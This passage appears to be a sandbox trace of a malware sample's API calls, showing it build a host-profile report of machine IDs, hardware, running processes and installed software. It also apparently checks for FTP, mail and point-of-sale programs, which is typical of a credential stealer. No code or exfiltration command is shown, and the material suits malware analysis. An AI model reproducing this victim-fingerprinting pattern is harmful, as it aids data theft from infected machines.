C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 ["
[0054.959] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [", lpString2="16.0.4266.1001" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001"
[0054.959] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 